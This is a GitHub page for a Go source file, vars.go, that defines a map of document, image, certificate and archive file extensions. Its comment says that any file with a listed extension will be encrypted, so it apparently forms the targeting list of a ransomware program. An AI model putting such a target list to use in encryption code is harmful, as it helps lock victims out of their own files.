-
Notifications
You must be signed in to change notification settings - Fork 7
/
vars.go
86 lines (82 loc) · 1.42 KB
/
vars.go
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
package useless
// FileExtensions is a map of all allowed file extensions. Any file with an
// extension in this map will be encrypted.
var FileExtensions = map[string]bool{
// Document formats
".accdb": true,
".ai": true,
".cdr": true,
".dbf": true,
".doc": true,
".docm": true,
".docx": true,
".dwg": true,
".dxf": true,
".dxg": true,
".eps": true,
".indd": true,
".mdb": true,
".mdf": true,
".odb": true,
".odc": true,
".odm": true,
".odp": true,
".ods": true,
".odt": true,
".pdd": true,
".pdf": true,
".ppt": true,
".pptm": true,
".pptx": true,
".psd": true,
".pst": true,
".rtf": true,
".wdb2": true,
".wpd": true,
".wps": true,
".xlk": true,
".xls": true,
".xlsb": true,
".xlsm": true,
".xlsx": true,
// Image formats
".3fr": true,
".arw": true,
".cr2": true,
".crw": true,
".dcr": true,
".dng": true,
".gif": true,
".jpg": true,
".kdc": true,
".mrw": true,
".nef": true,
".nrw": true,
".orf": true,
".pef": true,
".png": true,
".ptx": true,
".r3d": true,
".raf": true,
".raw": true,
".rw2": true,
".rwl": true,
".sr2": true,
".srf": true,
".x3f": true,
// Certificate formats
".cer": true,
".crt": true,
".der": true,
".p12": true,
".p7b": true,
".p7c": true,
".pem": true,
".pfx": true,
// Archive/compression formats
".7z": true,
".gzip": true,
".tar": true,
".tar.gz": true,
".tgz": true,
}